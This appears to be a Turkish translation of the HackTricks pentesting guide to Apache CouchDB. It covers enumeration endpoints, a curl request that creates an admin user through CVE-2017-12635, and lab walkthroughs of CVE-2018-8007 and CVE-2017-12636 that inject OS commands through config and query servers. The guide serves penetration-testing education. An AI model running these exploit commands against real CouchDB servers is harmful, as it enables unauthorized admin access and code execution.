hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

18 KiB
Raw Blame History

5984,6984 - Pentesting CouchDB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Temel Bilgiler

CouchDB, verileri her belge içinde bir anahtar-değer haritası yapısı kullanarak organize eden çok yönlü ve güçlü bir belge odaklı veritabanıdır. Belge içindeki alanlar, veri depolama ve alma esnekliği sağlayarak anahtar/değer çiftleri, listeler veya haritalar olarak temsil edilebilir.

CouchDB'de depolanan her belge, belge düzeyinde bir benzersiz tanımlayıcı (_id) ile atanır. Ayrıca, veritabanına yapılan ve kaydedilen her değişiklik, bir revizyon numarası (_rev) ile atanır. Bu revizyon numarası, değişikliklerin verimli bir şekilde izlenmesi ve yönetilmesi için olanak tanır ve veritabanı içindeki verilerin kolayca alınmasını ve senkronizasyonunu kolaylaştırır.

Varsayılan port: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Otomatik Sayım

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Manuel Sayım

Afiş

curl http://IP:5984/

Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdakilerden biri gibi görünmelidir:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} CouchDB'nin köküne erişirken 401 Unauthorized alıyorsanız ve bu gibi bir mesaj görüyorsanız: {"error":"unauthorized","reason":"Authentication required."} banner'a veya başka bir uç noktaya erişemezsiniz. {% endhint %}

Bilgi Sayımı

Bu, GET isteği ile erişebileceğiniz ve bazı ilginç bilgileri çıkarabileceğiniz uç noktalarıdır. Daha fazla uç nokta ve daha ayrıntılııklamalar için couchdb belgelerine bakabilirsiniz.

  • /_active_tasks Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil.
  • /_all_dbs CouchDB örneğindeki tüm veritabanlarının listesini döndürür.
  • /_cluster_setup Küme kurulum sihirbazına göre düğüm veya kümenin durumunu döndürür.
  • /_db_updates CouchDB örneğindeki tüm veritabanı olaylarının listesini döndürür. Bu uç noktayı kullanmak için _global_changes veritabanının varlığı gereklidir.
  • /_membership Kümenin bir parçası olan düğümleri cluster_nodes olarak görüntüler. all_nodes alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanlar da dahil olmak üzere gösterir.
  • /_scheduler/jobs Çoğaltma işlerinin listesi. Her iş tanımı, kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olayların geçmişini ve birkaç diğer şeyi içerecektir.
  • /_scheduler/docs Çoğaltma belge durumlarının listesi. tamamlandı ve başarısız durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliğini, veritabanını, çoğaltma kimliğini, kaynak ve hedefi ve diğer bilgileri döndürür.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} /_node/{node-name} uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu, /_node/_local erişirken bu bilgiyi almak için en faydalıdır.
  • /_node/{node-name}/_stats _stats kaynağı, çalışan sunucu için istatistikleri içeren bir JSON nesnesi döndürür. _local kelimesi, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistik URL'lerinde {node-name} _local ile değiştirilebilir, yerel düğümün istatistikleri ile etkileşimde bulunmak için.
  • /_node/{node-name}/_system _system kaynağı, çalışan sunucu için çeşitli sistem düzeyindeki istatistikleri içeren bir JSON nesnesi döndürür. Mevcut düğüm bilgilerini almak için {node-name} olarak _local kullanabilirsiniz.
  • /_node/{node-name}/_restart
  • /_up Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. Eğer maintenance_mode true veya nolb ise, uç nokta 404 yanıtı döndürecektir.
  • /_uuids CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Tanımlayıcı (UUID) talep eder.
  • /_reshard Tamamlanan, başarısız, çalışan, durdurulan ve toplam işlerin sayısını ve kümedeki yeniden parçalama durumunu döndürür.

Daha ilginç bilgiler burada açıklandığı gibi çıkarılabilir: https://lzone.de/cheat-sheet/CouchDB

Veritabanı Listesi

curl -X GET http://IP:5984/_all_dbs

Eğer bu istek 401 yetkisiz ile yanıt veriyorsa, veritabanına erişmek için geçerli kimlik bilgilerine ihtiyacınız var:

curl -X GET http://user:password@IP:5984/_all_dbs

Geçerli Kimlik Bilgilerini bulmak için şunu deneyebilirsiniz: hizmeti bruteforce etmek.

Bu, yeterli ayrıcalıklara sahip olduğunuzda bir couchdb yanıtının örneğidir (Bu sadece bir db listesi):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

Veritabanı adını erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) alabilirsiniz:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Belge Listesi

Veritabanındaki her bir girişi listele

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Belgeyi Oku

Bir veritabanındaki bir belgenin içeriğini oku:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Yetki Yükseltme CVE-2017-12635

Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklar sayesinde, aşağıdaki isteği kullanarak hacktricks:hacktricks kimlik bilgileriyle bir yönetici kullanıcı oluşturabilirsiniz:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Bu güvenlik açığı hakkında daha fazla bilgi burada.

CouchDB RCE

Örnek buradan.

CouchDB belgelerinde, özellikle küme kurulumu ile ilgili bölümde (link), CouchDB'nin küme modunda kullandığı portlar tartışılmaktadır. Tekil modda olduğu gibi, port 5984'ün kullanıldığı belirtilmiştir. Ayrıca, port 5986 düğüm yerel API'leri içindir ve önemli olarak, Erlang, Erlang Port Mapper Daemon (EPMD) için TCP port 4369 gerektirir; bu, bir Erlang kümesi içinde düğüm iletişimini kolaylaştırır. Bu yapı, her düğümün diğer tüm düğümlerle bağlantılı olduğu bir ağ oluşturur.

Port 4369 ile ilgili kritik bir güvenlik uyarısı vurgulanmaktadır. Bu port, İnternet veya herhangi bir güvenilmeyen ağ üzerinden erişilebilir hale getirilirse, sistemin güvenliği "cookie" olarak bilinen benzersiz bir tanıtıcıya büyük ölçüde bağlıdır. Bu cookie bir koruma işlevi görür. Örneğin, belirli bir işlem listesinde "monster" adlı cookie gözlemlenebilir; bu, sistemin güvenlik çerçevesindeki operasyonel rolünü gösterir.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Uzaktan Kod Çalıştırma (RCE) bağlamında bu "çerez"in nasıl istismar edilebileceğini anlamakla ilgilenenler için, daha fazla okuma için özel bir bölüm mevcuttur. Bu bölüm, sistemler üzerinde kontrol sağlamak için Erlang çerezlerini yetkisiz bir şekilde kullanma metodolojilerini detaylandırmaktadır. Erlang çerezlerini RCE için istismar etme üzerine detaylı kılavuzu buradan keşfedebilirsiniz.

local.ini'nin Değiştirilmesi ile CVE-2018-8007'nin İstismarı

Buradan örnek.

Apache CouchDB'yi etkileyen, yakın zamanda açıklanan bir güvenlik açığı olan CVE-2018-8007 incelendi ve istismar için local.ini dosyasına yazma izinlerinin gerektiği ortaya çıktı. Güvenlik kısıtlamaları nedeniyle başlangıçtaki hedef sisteme doğrudan uygulanamasa da, keşif amaçları için local.ini dosyasına yazma erişimi sağlamak üzere değişiklikler yapıldı. Aşağıda, süreci gösteren detaylı adımlar ve kod örnekleri sağlanmıştır.

Öncelikle, local.ini dosyasının yazılabilir olduğundan emin olarak ortam hazırlanır ve izinler listelenerek doğrulanır:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Vulnerabiliteyi istismar etmek için, local.ini içindeki cors/origins yapılandırmasını hedef alan bir curl komutu çalıştırılır. Bu, [os_daemons] bölümünde rastgele kod çalıştırmayı amaçlayan yeni bir köken ve ek komutlar enjekte eder:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Sonraki doğrulama, local.ini içindeki enjekte edilmiş yapılandırmayı gösterir ve değişiklikleri vurgulamak için bir yedekle karşılaştırır:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Başlangıçta, beklenen dosya (/tmp/0xdf) mevcut değildir, bu da enjekte edilen komutun henüz çalıştırılmadığını gösterir. Daha fazla araştırma, CouchDB ile ilgili süreçlerin çalıştığını ve bunlar arasında enjekte edilen komutu potansiyel olarak çalıştırabilecek birinin bulunduğunu ortaya koyar:

root@canape:/home/homer/bin# ps aux | grep couch

Belirlenen CouchDB sürecini sonlandırarak ve sistemin bunu otomatik olarak yeniden başlatmasına izin vererek, enjekte edilen komutun yürütülmesi tetiklenir; bu, daha önce kaybolan dosyanın varlığıyla doğrulanır:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Bu keşif, belirli koşullar altında CVE-2018-8007 istismarının uygulanabilirliğini doğrulamaktadır; özellikle local.ini dosyasına yazılabilir erişim gereksinimi. Sağlanan kod örnekleri ve prosedürel adımlar, istismarı kontrollü bir ortamda tekrarlamak için net bir rehber sunmaktadır.

CVE-2018-8007 hakkında daha fazla bilgi için mdsec'in tavsiyesine bakın: CVE-2018-8007.

local.ini Üzerinde Yazma İzinleri ile CVE-2017-12636'yı Keşfetme

Örnek buradan.

CouchDB süreci aracılığıyla kod yürütülmesine olanak tanıyan CVE-2017-12636 olarak bilinen bir zafiyet incelendi; ancak belirli yapılandırmalar istismarını engelleyebilir. Çevrimiçi olarak mevcut olan çok sayıda Kanıtı Konsept (POC) referansına rağmen, zafiyeti CouchDB sürüm 2'de istismar etmek için ayarlamalar gereklidir; bu, genellikle hedeflenen sürüm 1.x'ten farklıdır. İlk adımlar, CouchDB sürümünü doğrulamayı ve beklenen sorgu sunucuları yolunun yokluğunu onaylamayı içerir:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDB sürüm 2.0'ı desteklemek için yeni bir yol kullanılmaktadır:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Yeni bir sorgu sunucusu ekleme ve çağırma girişimleri, aşağıdaki çıktı ile gösterildiği gibi izinle ilgili hatalarla karşılaştı:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Daha fazla araştırma, yazılamayan local.ini dosyasıyla ilgili izin sorunlarını ortaya çıkardı. Root veya homer erişimi ile dosya izinlerini değiştirerek devam etmek mümkün hale geldi:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Sonraki sorgu sunucusu ekleme girişimleri başarılı oldu, yanıtın hata mesajlarının olmamasıyla gösterildi. local.ini dosyasının başarılı bir şekilde değiştirilmesi dosya karşılaştırmasıyla doğrulandı:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna özel bir görünüm eşlemesi aracılığıyla kod çalıştırma girişimi yapıldı:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A özet alternatif bir yük ile belirli koşullar altında CVE-2017-12636'nın istismarına dair daha fazla bilgi sunmaktadır. Bu güvenlik açığını istismar etmek için yararlı kaynaklar şunlardır:

Shodan

  • port:5984 couchdb

Referanslar

{% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}